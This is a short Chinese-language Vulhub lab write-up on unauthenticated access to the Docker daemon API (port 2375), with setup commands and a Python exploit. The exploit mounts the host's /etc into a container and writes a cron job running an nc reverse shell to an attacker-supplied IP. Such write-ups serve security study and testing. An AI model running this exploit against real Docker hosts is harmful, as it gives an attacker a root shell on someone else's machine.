跳转至

Docker daemon api 未授权访问漏洞

漏洞描述

参考链接:

环境搭建

Vulhub编译及启动漏洞环境:

docker-compose build
docker-compose up -d

环境启动后,将监听2375端口。

漏洞复现

利用方法是,随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。

import docker

client = docker.DockerClient(base_url='http://[docker ip]:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc [your ip] 2333 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

监听2333端口,接收反弹shell。

此处的反弹shell需要和/etc/crontabs/root文件同时写入,不能后续追加。

image-20220222182515581